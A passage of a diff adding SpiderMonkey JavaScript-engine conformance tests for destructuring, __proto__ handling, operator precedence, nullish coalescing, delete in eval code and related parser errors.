index 0000000000..133858a09d
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-array-lexical.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with accessing uninitialized lexical binding.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => { let y = [y] = []; },
+ ReferenceError);
+assertThrowsInstanceOf(() => { let y = [y] = [,]; },
+ ReferenceError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-object-__proto__-1.js b/js/src/tests/non262/expressions/destructuring-object-__proto__-1.js
new file mode 100644
index 0000000000..1e36a3b9bb
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-object-__proto__-1.js
@@ -0,0 +1,82 @@
+// Test __proto__ is destructuring binding initialization.
+
+// __proto__ shorthand, no default.
+{
+ let {__proto__} = {};
+ assertEq(__proto__, Object.prototype);
+}
+
+// __proto__ shorthand, with default.
+{
+ let {__proto__ = 0} = {};
+ assertEq(__proto__, Object.prototype);
+}
+
+{
+ let {__proto__ = 0} = Object.create(null);
+ assertEq(__proto__, 0);
+}
+
+// __proto__ keyed, no default.
+{
+ let {__proto__: p} = {};
+ assertEq(p, Object.prototype);
+}
+
+// __proto__ keyed, with default.
+{
+ let {__proto__: p = 0} = {};
+ assertEq(p, Object.prototype);
+}
+
+// __proto__ keyed, with default.
+{
+ let {__proto__: p = 0} = Object.create(null);
+ assertEq(p, 0);
+}
+
+// Repeat the cases from above, but this time with a rest property.
+
+// __proto__ shorthand, no default.
+{
+ let {__proto__, ...rest} = {};
+ assertEq(__proto__, Object.prototype);
+ assertEq(Reflect.ownKeys(rest).length, 0);
+}
+
+// __proto__ shorthand, with default.
+{
+ let {__proto__ = 0, ...rest} = {};
+ assertEq(__proto__, Object.prototype);
+ assertEq(Reflect.ownKeys(rest).length, 0);
+}
+
+{
+ let {__proto__ = 0, ...rest} = Object.create(null);
+ assertEq(__proto__, 0);
+ assertEq(Reflect.ownKeys(rest).length, 0);
+}
+
+// __proto__ keyed, no default.
+{
+ let {__proto__: p, ...rest} = {};
+ assertEq(p, Object.prototype);
+ assertEq(Reflect.ownKeys(rest).length, 0);
+}
+
+// __proto__ keyed, with default.
+{
+ let {__proto__: p = 0, ...rest} = {};
+ assertEq(p, Object.prototype);
+ assertEq(Reflect.ownKeys(rest).length, 0);
+}
+
+// __proto__ keyed, with default.
+{
+ let {__proto__: p = 0, ...rest} = Object.create(null);
+ assertEq(p, 0);
+ assertEq(Reflect.ownKeys(rest).length, 0);
+}
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-object-__proto__-2.js b/js/src/tests/non262/expressions/destructuring-object-__proto__-2.js
new file mode 100644
index 0000000000..36f3e06ebe
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-object-__proto__-2.js
@@ -0,0 +1,94 @@
+// Test __proto__ is destructuring assignment.
+
+// __proto__ shorthand, no default.
+{
+ let __proto__;
+ ({__proto__} = {});
+ assertEq(__proto__, Object.prototype);
+}
+
+// __proto__ shorthand, with default.
+{
+ let __proto__;
+ ({__proto__ = 0} = {});
+ assertEq(__proto__, Object.prototype);
+}
+
+{
+ let __proto__;
+ ({__proto__ = 0} = Object.create(null));
+ assertEq(__proto__, 0);
+}
+
+// __proto__ keyed, no default.
+{
+ let p;
+ ({__proto__: p} = {});
+ assertEq(p, Object.prototype);
+}
+
+// __proto__ keyed, with default.
+{
+ let p;
+ ({__proto__: p = 0} = {});
+ assertEq(p, Object.prototype);
+}
+
+// __proto__ keyed, with default.
+{
+ let p;
+ ({__proto__: p = 0} = Object.create(null));
+ assertEq(p, 0);
+}
+
+// Repeat the cases from above, but this time with a rest property.
+
+// __proto__ shorthand, no default.
+{
+ let __proto__, rest;
+ ({__proto__, ...rest} = {});
+ assertEq(__proto__, Object.prototype);
+ assertEq(Reflect.ownKeys(rest).length, 0);
+}
+
+// __proto__ shorthand, with default.
+{
+ let __proto__, rest;
+ ({__proto__ = 0, ...rest} = {});
+ assertEq(__proto__, Object.prototype);
+ assertEq(Reflect.ownKeys(rest).length, 0);
+}
+
+{
+ let __proto__, rest;
+ ({__proto__ = 0, ...rest} = Object.create(null));
+ assertEq(__proto__, 0);
+ assertEq(Reflect.ownKeys(rest).length, 0);
+}
+
+// __proto__ keyed, no default.
+{
+ let p, rest;
+ ({__proto__: p, ...rest} = {});
+ assertEq(p, Object.prototype);
+ assertEq(Reflect.ownKeys(rest).length, 0);
+}
+
+// __proto__ keyed, with default.
+{
+ let p, rest;
+ ({__proto__: p = 0, ...rest} = {});
+ assertEq(p, Object.prototype);
+ assertEq(Reflect.ownKeys(rest).length, 0);
+}
+
+// __proto__ keyed, with default.
+{
+ let p, rest;
+ ({__proto__: p = 0, ...rest} = Object.create(null));
+ assertEq(p, 0);
+ assertEq(Reflect.ownKeys(rest).length, 0);
+}
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-pattern-parenthesized.js b/js/src/tests/non262/expressions/destructuring-pattern-parenthesized.js
new file mode 100644
index 0000000000..529fb5f71e
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-pattern-parenthesized.js
@@ -0,0 +1,137 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1146136;
+var summary =
+ 'Parenthesized "destructuring patterns" are not usable as destructuring ' +
+ 'patterns';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Don't pollute the top-level script with eval references.
+var savedEval = this[String.fromCharCode(101, 118, 97, 108)];
+
+function checkError(code, nonstrictErr, strictErr)
+{
+ function helper(exec, prefix, err)
+ {
+ var fullCode = prefix + code;
+ try
+ {
+ var f = exec(fullCode);
+
+ var error =
+ "no early error, parsed code <" + fullCode + "> using " + exec.name;
+ if (typeof f === "function")
+ {
+ try
+ {
+ f();
+ error += ", and the function can be called without error";
+ }
+ catch (e)
+ {
+ error +=", and calling the function throws " + e;
+ }
+ }
+
+ throw new Error(error);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof err, true,
+ "expected " + err.name + ", got " + e + " " +
+ "for code <" + fullCode + "> when parsed using " + exec.name);
+ }
+ }
+
+ helper(Function, "", nonstrictErr);
+ helper(Function, "'use strict'; ", strictErr);
+ helper(savedEval, "", nonstrictErr);
+ helper(savedEval, "'use strict'; ", strictErr);
+}
+
+// Parenthesized destructuring patterns don't trigger grammar refinement, so we
+// get the usual SyntaxError for an invalid assignment target, per
+// 12.14.1 second bullet.
+checkError("var a, b; ([a, b]) = [1, 2];", SyntaxError, SyntaxError);
+checkError("var a, b; ({a, b}) = { a: 1, b: 2 };", SyntaxError, SyntaxError);
+
+// *Nested* parenthesized destructuring patterns, on the other hand, do trigger
+// grammar refinement. But subtargets in a destructuring pattern must be
+// either object/array literals that match the destructuring pattern refinement
+// *or* valid simple assignment targets (or such things with a default, with the
+// entire subtarget unparenthesized: |a = 3| is fine, |(a) = 3| is fine for
+// destructuring in an expression, |(a = 3)| is forbidden). Parenthesized
+// object/array patterns are neither. And so 12.14.5.1 third bullet requires an
+// early SyntaxError.
+checkError("var a, b; ({ a: ({ b: b }) } = { a: { b: 42 } });", SyntaxError, SyntaxError);
+checkError("var a, b; ({ a: { b: (b = 7) } } = { a: {} });", SyntaxError, SyntaxError);
+checkError("var a, b; ({ a: ([b]) } = { a: [42] });", SyntaxError, SyntaxError);
+checkError("var a, b; [(a = 5)] = [1];", SyntaxError, SyntaxError);
+checkError("var a, b; ({ a: (b = 7)} = { b: 1 });", SyntaxError, SyntaxError);
+
+Function("var a, b; [(a), b] = [1, 2];")();
+Function("var a, b; [(a) = 5, b] = [1, 2];")();
+Function("var a, b; [(arguments), b] = [1, 2];")();
+Function("var a, b; [(arguments) = 5, b] = [1, 2];")();
+Function("var a, b; [(eval), b] = [1, 2];")();
+Function("var a, b; [(eval) = 5, b] = [1, 2];")();
+
+var repair = {}, demolition = {};
+
+Function("var a, b; [(repair.man), b] = [1, 2];")();
+Function("var a, b; [(demolition['man']) = 'motel', b] = [1, 2];")();
+Function("var a, b; [(demolition['man' + {}]) = 'motel', b] = [1, 2];")(); // evade constant-folding
+
+function classesEnabled()
+{
+ try
+ {
+ new Function("class B { constructor() { } }; class D extends B { constructor() { super(); } }");
+ return true;
+ }
+ catch (e) {
+ if (!(e instanceof SyntaxError))
+ throw e;
+ return false;
+ }
+}
+
+if (classesEnabled())
+{
+ Function("var a, b; var obj = { x() { [(super.man), b] = [1, 2]; } };")();
+ Function("var a, b; var obj = { x() { [(super[8]) = 'motel', b] = [1, 2]; } };")();
+ Function("var a, b; var obj = { x() { [(super[8 + {}]) = 'motel', b] = [1, 2]; } };")(); // evade constant-folding
+}
+
+// As noted above, when the assignment element has an initializer, the
+// assignment element must not be parenthesized.
+checkError("var a, b; [(repair.man = 17)] = [1];", SyntaxError, SyntaxError);
+checkError("var a, b; [(demolition['man'] = 'motel')] = [1, 2];", SyntaxError, SyntaxError);
+checkError("var a, b; [(demolition['man' + {}] = 'motel')] = [1];", SyntaxError, SyntaxError); // evade constant-folding
+if (classesEnabled())
+{
+ checkError("var a, b; var obj = { x() { [(super.man = 5)] = [1]; } };", SyntaxError, SyntaxError);
+ checkError("var a, b; var obj = { x() { [(super[8] = 'motel')] = [1]; } };", SyntaxError, SyntaxError);
+ checkError("var a, b; var obj = { x() { [(super[8 + {}] = 'motel')] = [1]; } };", SyntaxError, SyntaxError); // evade constant-folding
+}
+
+checkError("var a, b; [f() = 'ohai', b] = [1, 2];", SyntaxError, SyntaxError);
+checkError("var a, b; [(f()) = 'kthxbai', b] = [1, 2];", SyntaxError, SyntaxError);
+
+Function("var a, b; ({ a: (a), b} = { a: 1, b: 2 });")();
+Function("var a, b; ({ a: (a) = 5, b} = { a: 1, b: 2 });")();
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/destructuring-scope.js b/js/src/tests/non262/expressions/destructuring-scope.js
new file mode 100644
index 0000000000..374c1bec98
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-scope.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 'none';
+var summary = 'Test destructuring assignments for differing scopes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f() {
+ var x = 3;
+ if (x > 0) {
+ let {a:x} = {a:7};
+ if (x != 7)
+ throw "fail";
+ }
+ if (x != 3)
+ throw "fail";
+}
+
+function g() {
+ // Before JS1.7's destructuring for…in was fixed to match JS1.8's,
+ // the expected values were a == "x" and b == 7.
+ for (var [a,b] in {x:7}) {
+ if (a !== "x" || typeof b !== "undefined")
+ throw "fail";
+ }
+
+ {
+ // Before JS1.7's destructuring for…in was fixed to match JS1.8's,
+ // the expected values were a == "y" and b == 8.
+ for (let [a,b] in {y:8}) {
+ if (a !== "y" || typeof b !== "undefined")
+ throw "fail";
+ }
+ }
+
+ if (a !== "x" || typeof b !== "undefined")
+ throw "fail";
+}
+
+f();
+g();
+
+if (typeof a != "undefined" || typeof b != "undefined" || typeof x != "undefined")
+ throw "fail";
+
+function h() {
+ // Before JS1.7's destructuring for…in was fixed to match JS1.8's,
+ // the expected values were a == "x" and b == 9.
+ for ([a,b] in {z:9}) {
+ if (a !== "z" || typeof b !== "undefined")
+ throw "fail";
+ }
+}
+
+h();
+
+if (a !== "z" || typeof b !== "undefined")
+ throw "fail";
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/expressions/exponentiation-unparenthesised-unary.js b/js/src/tests/non262/expressions/exponentiation-unparenthesised-unary.js
new file mode 100644
index 0000000000..a673521264
--- /dev/null
+++ b/js/src/tests/non262/expressions/exponentiation-unparenthesised-unary.js
@@ -0,0 +1,106 @@
+const AsyncFunction = async function(){}.constructor;
+
+function assertNoError(f, msg) {
+ try {
+ f();
+ } catch (e) {
+ assertEq(true, false, `${msg}: ${e}`);
+ }
+}
+
+function assertSyntaxError(code) {
+ assertThrowsInstanceOf(function () { Function(code); }, SyntaxError, "Function:" + code);
+ assertThrowsInstanceOf(function () { AsyncFunction(code); }, SyntaxError, "AsyncFunction:" + code);
+}
+
+function assertNoSyntaxError(code) {
+ assertNoError(function () { Function(code); }, "Function:" + code);
+ assertNoError(function () { AsyncFunction(code); }, "AsyncFunction:" + code);
+}
+
+function assertNoSyntaxErrorAsyncContext(code) {
+ assertNoError(function () { AsyncFunction(code); }, "AsyncFunction:" + code);
+}
+
+const invalidTestCases = [
+ // UnaryExpression : delete UnaryExpression
+ //
+ // Test all possible `delete` expression kinds.
+ "delete a ** 0",
+ "delete a.prop ** 0",
+ "delete a[0] ** 0",
+ "delete a?.prop ** 0",
+ "delete 0 ** 0",
+
+ // UnaryExpression : void UnaryExpression
+ "void a ** 0",
+
+ // UnaryExpression : typeof UnaryExpression
+ //
+ // Test all possible `typeof` expression kinds.
+ "typeof a ** 0",
+ "typeof 0 ** 0",
+
+ // UnaryExpression : + UnaryExpression
+ "+a ** 0",
+
+ // UnaryExpression : - UnaryExpression
+ "-a ** 0",
+
+ // UnaryExpression : ~ UnaryExpression
+ "~a ** 0",
+
+ // UnaryExpression : ! UnaryExpression
+ "!a ** 0",
+
+ // UnaryExpression : AwaitExpression
+ "await a ** 0",
+];
+
+for (let source of invalidTestCases) {
+ assertSyntaxError(source);
+}
+
+const validTestCases = [
+ // UnaryExpression : delete UnaryExpression
+ "(delete a) ** 0",
+ "(delete a.prop) ** 0",
+ "(delete a[0]) ** 0",
+ "(delete a?.prop) ** 0",
+ "(delete 0) ** 0",
+
+ // UnaryExpression : void UnaryExpression
+ "(void a) ** 0",
+
+ // UnaryExpression : typeof UnaryExpression
+ "(typeof a) ** 0",
+ "(typeof 0) ** 0",
+
+ // UnaryExpression : + UnaryExpression
+ "(+a) ** 0",
+
+ // UnaryExpression : - UnaryExpression
+ "(-a) ** 0",
+
+ // UnaryExpression : ~ UnaryExpression
+ "(~a) ** 0",
+
+ // UnaryExpression : ! UnaryExpression
+ "(!a) ** 0",
+];
+
+for (let source of validTestCases) {
+ assertNoSyntaxError(source);
+}
+
+const validTestCasesAsync = [
+ // UnaryExpression : AwaitExpression
+ "(await a) ** 0",
+];
+
+for (let source of validTestCasesAsync) {
+ assertNoSyntaxErrorAsyncContext(source);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/inNotObjectError.js b/js/src/tests/non262/expressions/inNotObjectError.js
new file mode 100644
index 0000000000..3394ac0db7
--- /dev/null
+++ b/js/src/tests/non262/expressions/inNotObjectError.js
@@ -0,0 +1,46 @@
+var BUGNUMBER = 1352429;
+var summary = 'Error message should provide enough infomation for use of in operator';
+
+print(BUGNUMBER + ": " + summary);
+
+function checkErr(substr, str, messageSubstr, messageStr) {
+ var caught = false;
+ try {
+ substr in str;
+ } catch (e) {
+ caught = true;
+ assertEq(e.message.includes(messageSubstr), true);
+ assertEq(e.message.includes(messageStr), true);
+ assertEq(e.message.length < 100, true);
+ }
+ assertEq(caught, true);
+}
+
+// These test cases check if long string is omitted properly.
+checkErr('subString', 'base', 'subString', 'base');
+checkErr('this is subString', 'base', 'this is subStrin...', 'base');
+checkErr('subString', 'this is baseString', 'subString', 'this is baseStri...');
+checkErr('this is subString', 'this is base', 'this is subStrin...', 'this is base');
+checkErr('HEAD' + 'subString'.repeat(30000), 'HEAD' + 'base'.repeat(30000), 'HEADsubStringsub...', 'HEADbasebasebase...');
+
+// These test cases check if it does not crash and throws appropriate error.
+assertThrowsInstanceOf(() => { 1 in 'hello' }, TypeError);
+assertThrowsInstanceOf(() => { 'hello' in 1 }, TypeError);
+assertThrowsInstanceOf(() => { 'hello' in null }, TypeError);
+assertThrowsInstanceOf(() => { null in 'hello' }, TypeError);
+assertThrowsInstanceOf(() => { null in null }, TypeError);
+assertThrowsInstanceOf(() => { 'hello' in true }, TypeError);
+assertThrowsInstanceOf(() => { false in 1.1 }, TypeError);
+assertThrowsInstanceOf(() => { Symbol.iterator in undefined }, TypeError);
+assertThrowsInstanceOf(() => { [] in undefined }, TypeError);
+assertThrowsInstanceOf(() => { /a/ in 'hello' }, TypeError);
+var str = 'hello';
+assertThrowsInstanceOf(() => { str in 'hello' }, TypeError);
+class A {};
+assertThrowsInstanceOf(() => { new A() in undefined }, TypeError);
+var a = new A();
+a.b = 1.1;
+assertThrowsInstanceOf(() => { a.b in 1.1 }, TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/named-accessor-function.js b/js/src/tests/non262/expressions/named-accessor-function.js
new file mode 100644
index 0000000000..d6a055487b
--- /dev/null
+++ b/js/src/tests/non262/expressions/named-accessor-function.js
@@ -0,0 +1,49 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor:
+// Jeff Walden <jwalden+code@mit.edu>
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 999999;
+var summary = '{ get x y() { } } is not valid getter syntax';
+
+print(BUGNUMBER + ": " + summary);
+
+var BAD_CODE = ["({ get x y() { } })", "({ set x y(v) { } })"];
+
+for (var i = 0, sz = BAD_CODE.length; i < sz; i++)
+{
+ var code = BAD_CODE[i];
+
+ var err = "no exception";
+ try
+ {
+ eval(code);
+ }
+ catch (e)
+ {
+ err = e;
+ }
+ if (!(err instanceof SyntaxError))
+ {
+ assertEq(true, false,
+ "bad or no exception thrown for eval(" + code + "): " + err);
+ }
+
+ err = "no exception";
+ try
+ {
+ new Function(code);
+ }
+ catch (e)
+ {
+ err = e;
+ }
+ if (!(err instanceof SyntaxError))
+ {
+ assertEq(true, false,
+ "bad or no exception thrown for Function(" + code + "): " + err);
+ }
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/nested-delete-name-in-evalcode.js b/js/src/tests/non262/expressions/nested-delete-name-in-evalcode.js
new file mode 100644
index 0000000000..8226ba7c8b
--- /dev/null
+++ b/js/src/tests/non262/expressions/nested-delete-name-in-evalcode.js
@@ -0,0 +1,163 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 616294;
+var summary =
+ "|delete x| inside a function in eval code, where that eval code includes " +
+ "|var x| at top level, actually does delete the binding for x";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var f;
+
+function testOuterVar()
+{
+ return eval("var x; (function() { return delete x; })");
+}
+
+f = testOuterVar();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterFunction()
+{
+ return eval("function x() { } (function() { return delete x; })");
+}
+
+f = testOuterFunction();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterForVar()
+{
+ return eval("for (var x; false; ); (function() { return delete x; })");
+}
+
+f = testOuterForVar();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterForInVar()
+{
+ return eval("for (var x in {}); (function() { return delete x; })");
+}
+
+f = testOuterForInVar();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterNestedVar()
+{
+ return eval("for (var q = 0; q < 5; q++) { var x; } (function() { return delete x; })");
+}
+
+f = testOuterNestedVar();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterNestedConditionalVar()
+{
+ return eval("for (var q = 0; q < 5; q++) { if (false) { var x; } } (function() { return delete x; })");
+}
+
+f = testOuterNestedConditionalVar();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testVarInWith()
+{
+ return eval("with ({}) { var x; } (function() { return delete x; })");
+}
+
+f = testVarInWith();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testForVarInWith()
+{
+ return eval("with ({}) { for (var x = 0; x < 5; x++); } (function() { return delete x; })");
+}
+
+f = testForVarInWith();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testForInVarInWith()
+{
+ return eval("with ({}) { for (var x in {}); } (function() { return delete x; })");
+}
+
+f = testForInVarInWith();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testUnknown()
+{
+ return eval("nameToDelete = 17; (function() { return delete nameToDelete; })");
+}
+
+f = testUnknown();
+
+assertEq(f(), true); // configurable global property, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testArgumentShadow()
+{
+ return eval("var x; (function(x) { return delete x; })");
+}
+
+f = testArgumentShadow();
+
+assertEq(f(), false); // non-configurable argument => false
+
+
+function testArgument()
+{
+ return eval("(function(x) { return delete x; })");
+}
+
+f = testArgument();
+
+assertEq(f(), false); // non-configurable argument => false
+
+
+function testFunctionLocal()
+{
+ return eval("(function() { var x; return delete x; })");
+}
+
+f = testFunctionLocal();
+
+assertEq(f(), false); // defined by function code => not configurable => false
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/expressions/nullish-coalescing.js b/js/src/tests/non262/expressions/nullish-coalescing.js
new file mode 100644
index 0000000000..4d3ea8f644
--- /dev/null
+++ b/js/src/tests/non262/expressions/nullish-coalescing.js
@@ -0,0 +1,112 @@
+var BUGNUMBER = 1566141;
+var summary = "Implement the Nullish Coalescing operator (??) proposal";
+
+print(BUGNUMBER + ": " + summary);
+
+// These tests are originally from webkit.
+// webkit specifics have been removed and a test for `document.all` has
+// been added.
+function shouldBe(actual, expected) {
+ if (actual !== expected)
+ throw new Error(`expected ${expected} but got ${actual}`);
+}
+
+function shouldNotThrow(script) {
+ eval(script);
+}
+
+function shouldThrowSyntaxError(script) {
+ let error;
+ try {
+ eval(script);
+ } catch (e) {
+ error = e;
+ }
+
+ if (!(error instanceof SyntaxError))
+ throw new Error('Expected SyntaxError!');
+}
+
+function testBasicCases() {
+ shouldBe(undefined ?? 3, 3);
+ shouldBe(null ?? 3, 3);
+ shouldBe(true ?? 3, true);
+ shouldBe(false ?? 3, false);
+ shouldBe(0 ?? 3, 0);
+ shouldBe(1 ?? 3, 1);
+ shouldBe('' ?? 3, '');
+ shouldBe('hi' ?? 3, 'hi');
+ shouldBe(({} ?? 3) instanceof Object, true);
+ shouldBe(({ x: 'hi' } ?? 3).x, 'hi');
+ shouldBe(([] ?? 3) instanceof Array, true);
+ shouldBe((['hi'] ?? 3)[0], 'hi');
+ // test document.all, which has odd behavior
+ shouldBe(typeof(createIsHTMLDDA() ?? 3), "undefined");
+}
+
+for (let i = 0; i < 1e5; i++)
+ testBasicCases();
+
+shouldBe(1 | null ?? 3, 1);
+shouldBe(1 ^ null ?? 3, 1);
+shouldBe(1 & null ?? 3, 0);
+shouldBe(3 == null ?? 3, false);
+shouldBe(3 != null ?? 3, true);
+shouldBe(3 === null ?? 3, false);
+shouldBe(3 !== null ?? 3, true);
+shouldBe(1 < null ?? 3, false);
+shouldBe(1 > null ?? 3, true);
+shouldBe(1 <= null ?? 3, false);
+shouldBe(1 >= null ?? 3, true);
+shouldBe(1 << null ?? 3, 1);
+shouldBe(1 >> null ?? 3, 1);
+shouldBe(1 >>> null ?? 3, 1);
+shouldBe(1 + null ?? 3, 1);
+shouldBe(1 - null ?? 3, 1);
+shouldBe(1 * null ?? 3, 0);
+shouldBe(1 / null ?? 3, Infinity);
+shouldBe(isNaN(1 % null ?? 3), true);
+shouldBe(1 ** null ?? 3, 1);
+shouldBe((void 0) ?? 3, 3);
+
+const obj = {
+ count: 0,
+ get x() { this.count++; return 'x'; }
+};
+false ?? obj.x;
+shouldBe(obj.count, 0);
+null ?? obj.x;
+shouldBe(obj.count, 1);
+obj.x ?? obj.x;
+shouldBe(obj.count, 2);
+
+shouldThrowSyntaxError('0 || 1 ?? 2');
+shouldThrowSyntaxError('0 && 1 ?? 2');
+shouldThrowSyntaxError('0 ?? 1 || 2');
+shouldThrowSyntaxError('0 ?? 1 && 2');
+shouldNotThrow('(0 || 1) ?? 2');
+shouldNotThrow('0 || (1 ?? 2)');
+shouldNotThrow('(0 && 1) ?? 2');
+shouldNotThrow('0 && (1 ?? 2)');
+shouldNotThrow('(0 ?? 1) || 2');
+shouldNotThrow('0 ?? (1 || 2)');
+shouldNotThrow('(0 ?? 1) && 2');
+shouldNotThrow('0 ?? (1 && 2)');
+
+shouldNotThrow('0 || 1 && 2 | 3 ^ 4 & 5 == 6 != 7 === 8 !== 9 < 0 > 1 <= 2 >= 3 << 4 >> 5 >>> 6 + 7 - 8 * 9 / 0 % 1 ** 2');
+shouldThrowSyntaxError('0 || 1 && 2 | 3 ^ 4 & 5 == 6 != 7 === 8 !== 9 < 0 > 1 <= 2 >= 3 << 4 >> 5 >>> 6 + 7 - 8 * 9 / 0 % 1 ** 2 ?? 3');
+shouldThrowSyntaxError('3 ?? 2 ** 1 % 0 / 9 * 8 - 7 + 6 >>> 5 >> 4 << 3 >= 2 <= 1 > 0 < 9 !== 8 === 7 != 6 == 5 & 4 ^ 3 | 2 && 1 || 0');
+
+shouldBe(null?.x ?? 3, 3);
+shouldBe(({})?.x ?? 3, 3);
+shouldBe(({ x: 0 })?.x ?? 3, 0);
+shouldBe(null?.() ?? 3, 3);
+shouldBe((() => 0)?.() ?? 3, 0);
+shouldBe(({ x: 0 })?.[null?.a ?? 'x'] ?? 3, 0);
+shouldBe((() => 0)?.(null?.a ?? 'x') ?? 3, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
+
diff --git a/js/src/tests/non262/expressions/object-literal-__proto__.js b/js/src/tests/non262/expressions/object-literal-__proto__.js
new file mode 100644
index 0000000000..531ef7fc5c
--- /dev/null
+++ b/js/src/tests/non262/expressions/object-literal-__proto__.js
@@ -0,0 +1,267 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1061853;
+var summary =
+ "__proto__ in object literals in non-__proto__:v contexts doesn't modify " +
+ "[[Prototype]]";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function hasOwn(obj, prop)
+{
+ return Object.getOwnPropertyDescriptor(obj, prop) !== undefined;
+}
+
+var objectStart = "{ ";
+var objectEnd = " }";
+
+var members =
+ {
+ nullProto: "__proto__: null",
+ functionProtoProto: "__proto__: Function.prototype",
+ computedNull: "['__proto__']: null",
+ method: "__proto__() {}",
+ computedMethod: "['__proto__']() {}",
+ generatorMethod: "*__proto__() {}",
+ computedGenerator: "*['__proto__']() {}",
+ shorthand: "__proto__",
+ getter: "get __proto__() { return 42; }",
+ getterComputed: "get ['__proto__']() { return 42; }",
+ setter: "set __proto__(v) { }",
+ setterComputed: "set ['__proto__'](v) { }",
+ };
+
+function isProtoMutation(key)
+{
+ return key === "nullProto" || key === "functionProtoProto";
+}
+
+function isGetter(key)
+{
+ return key === "getter" || key === "getterComputed";
+}
+
+function isSetter(key)
+{
+ return key === "setter" || key === "setterComputed";
+}
+
+function isData(key)
+{
+ return !isProtoMutation(key) && !isGetter(key) && !isSetter(key);
+}
+
+var __proto__ = "string value";
+
+function typeOfProto(key)
+{
+ if (key === "computedNull")
+ return "object";
+ if (key === "method" || key === "computedMethod" ||
+ key === "computedGenerator" || key === "generatorMethod")
+ {
+ return "function";
+ }
+ if (key === "getter" || key === "getterComputed")
+ return "number";
+ assertEq(key, "shorthand", "bug in test!");
+ return "string";
+}
+
+for (var first in members)
+{
+ var fcode = "return " + objectStart + members[first] + objectEnd;
+ var f = Function(fcode);
+ var oneProp = f();
+
+ if (first === "nullProto")
+ {
+ assertEq(Object.getPrototypeOf(oneProp), null);
+ assertEq(hasOwn(oneProp, "__proto__"), false);
+ }
+ else if (first === "functionProtoProto")
+ {
+ assertEq(Object.getPrototypeOf(oneProp), Function.prototype);
+ assertEq(hasOwn(oneProp, "__proto__"), false);
+ }
+ else if (isSetter(first))
+ {
+ assertEq(Object.getPrototypeOf(oneProp), Object.prototype);
+ assertEq(hasOwn(oneProp, "__proto__"), true);
+ assertEq(typeof Object.getOwnPropertyDescriptor(oneProp, "__proto__").set,
+ "function");
+ }
+ else
+ {
+ assertEq(Object.getPrototypeOf(oneProp), Object.prototype);
+ assertEq(hasOwn(oneProp, "__proto__"), true);
+ assertEq(typeof oneProp.__proto__, typeOfProto(first));
+ }
+
+ for (var second in members)
+ {
+ try
+ {
+ var gcode = "return " + objectStart + members[first] + ", " +
+ members[second] + objectEnd;
+ var g = Function(gcode);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "__proto__ member conflicts should be syntax errors, got " + e);
+ assertEq(+(first === "nullProto" || first === "functionProtoProto") +
